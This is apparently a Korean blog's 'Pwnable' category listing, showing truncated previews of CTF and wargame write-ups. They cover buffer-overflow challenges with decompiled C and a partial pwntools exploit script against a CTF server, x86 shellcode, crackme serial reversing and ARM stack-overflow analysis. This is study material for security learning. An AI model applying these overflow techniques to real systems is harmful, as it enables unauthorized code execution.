- Today
- Total
목록Pwnable (104)
Phantom
Basic BOF #2SourceSolveBasic BOF #2Sourcent __cdecl main(int argc, const char **argv, const char **envp) { char s[80]; // [esp+Ch] [ebp-8Ch] void (*v5)(void); // [esp+8Ch] [ebp-Ch] v5 = (void (*)(void))sup; fgets(s, 133, stdin); v5(); return 0; }Solvefrom pwn import * e = ELF("./bof_basic2") #p = process("./bof_basic2") r = remote("ctf.j0n9hyun.xyz", 3001) shell = 0x804849b payload = '' payload ..
Basic BOF #1SourceSolveBasic BOF #1Sourceint __cdecl main(int argc, const char **argv, const char **envp) { char s[40]; // [esp+4h] [ebp-34h] int v5; // [esp+2Ch] [ebp-Ch] v5 = 0x4030201; fgets(&s, 45, stdin); printf("\n[buf]: %s\n", &s); printf("[check] %p\n", v5); if ( v5 != 0x4030201 && v5 != 0xDEADBEEF ) puts("\nYou are on the right way!"); if ( v5 == 0xDEADBEEF ) { puts("Yeah dude! You win!..
Start Source Purpose HOW? Solve Start Source push esp push offset _exit xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx push 3A465443h push 20656874h push 20747261h push 74732073h push 2774654Ch ; Let's start the CTF: mov ecx, esp ; addr mov dl, 14h ; len mov bl, 1 ; fd mov al, 4 int 80h ; LINUX - sys_write xor ebx, ebx mov dl, 3Ch ; '
32비트 바이너리이며 stripped되어있어서 gdb로 확인은 불가하다. 이것도 correct 아니면 Wrong을 출력하는 프로그램같다 IDA로 열어봐야겠다. if문의 함수의 리턴값이 1일경우 아래 함수를 콜하고 끝나는것 같다. byte_20~25 까지 값이 있고 이걸 짜맞추면 될것 같다. 아직 코딩이 딸려서 무조건 값이 정해져있는것들을 미리 적어놓고 xor 연산을 하였다.
OEP(Original Entry Point)를 찾는 문제이다 패킹때문인지 EXE인건 확인이 되는데 다른건 확인이 안된다. 패커도 UPX같은게 아닌 자체적으로 만든건가 싶다. 호로로로로로로롤로 겁나 길다. IDA로 봐선 잘 모르겠다 한번 열어봐야겠다. 첫번째 루프 jmp로 계속 반복하며 je조건이 충족되면 40A0C3으로 이동한다. 그러니 40A0C3에 BP를 걸고 이동해보자 2번째 루프 VirtualProtect와 GetProcAddress로 프로세스를 불러오는것 같다. 전부 다 불러오면 JNZ조건이 충족하는것 같아보여 JNZ다음에 BP를 걸고 계속 진행해보자 3번째 루프 LoadLibraryA함수로 dll을 로드한다. 그리고 조건이 충족되면 JE로 점프하는것 같다. 40A13E주소에 bp를 건다. 4..
시리얼이 저것일때 이름을 찾아라 라는 문제이다. 역시 이번도 패킹은 안되어있다. 맞는 네임을 찾는 문제. IDA로 봤을땐 v9와 v13만 비교하면된다. 그럼 입력함수들과 동작하는 원리를 분석해보자. xor할 값 저장하는 부분. 입력값과 10,20,30을 xor값%입력값 길이 xor값[i%xor길이]로 순환하며 xor시킨다. 이 연산을 통해 Serial이 생성되는것 같다. 시리얼이 5B 13 49 77 13 5E 7D 13이니 2개씩 자른다면 8자가 된다. 시리얼과 10,20,30으로 xor연산하면 Name값이 나올 것이다.
C++로 짜여져있고 다른 패커는 없다. 한번 실행해보자 키값을 넣으면 incorrect 또는 correct를 출력하는 간단한 프로그램인가보다. IDA에서 열어보면 DialogBoxParamA 함수를 실행하는데 이 함수는 대화상자를 생성하는 함수이다. 3번째 인자에 대화 상자 프로시저에 대한 포인터가담긴다. DialogFunc 안에 있는 함수에 들어가보면 이 문제에 대한 부분이 나온다. if문의 조건을 달성하면 Correct부분이 나오는것 같다. String[v3] = 97('a') String[v4] ='5y' #앞의 a는 ascii의 약자이다. String[v5] = 'R3versing' String[0] = 69('E') 이것들을 합쳐보면 플래그가 나온다
보호되어 있는 글입니다.
2013 Incognito pdf 파일 안에 나와있는 예제이다. 오늘은..이걸 풀거다. 슬슬 감이 잡히기 시작한다. 좀 더 분석이 자세해졌지만 아직 부족함이 많다. 취약점은 strcpy에서 나고 결정적인 공격은 strcpy를 통해 ebp처럼 행동하는 r11의 값을 변조해서 gotashell 함수에 들어가게 하면 된다. 난 A를 20개를 입력했고 vuln함수에서 Buffer로 16바이트를 줬다(빨간색). 그리고 노란색이 취약점 부분이며, pop에서 r11의 주소흐름을 바꿔야 한다. 파란색은 r11이다. 그렇다면 먼저 gotashell 함수 주소를 구하고 A*16 + gotashell 주소를 붙여주면 vuln 함수가 pop 하면서 gotashell로 이동할 거다. 주소 획득 실행 및 확인. strcpy이전엔..
이번에 해볼 소스는 이것이다. LOB 1번 gremlin 문제인데 진짜 qemu vi 너무 불편하다 화면이 깨끗이 안지워짐 VIM도 마찬가지 ㅂㄷㅂㄷ 디스어셈블하면 다음처럼 보인다. 한줄 한줄 해석은 했고 이걸 이제 다시 소스화 시켜보자. ARM의 Calling Convention은 다음과 같다. Refer - 2013 Incognito ARM exploit R0 ~ R3순서대로 인자 저장 인자가 4개 이상일시 스택을 사용 함수 리턴 값 반환은 R0레지스터를 사용 BL명령으로 호출시 리턴주소는 LR에 저장 r3+#0에 r0값 저장 r0에는 0x2가 있었고 r3+0 에 들어갔다. r3+#0에 r1 저장 r3에는 r7의 값이 저장되어 있었다. r3+0 지점에 r1의 값(0x7efffdf4)를 넣는다. 그리고..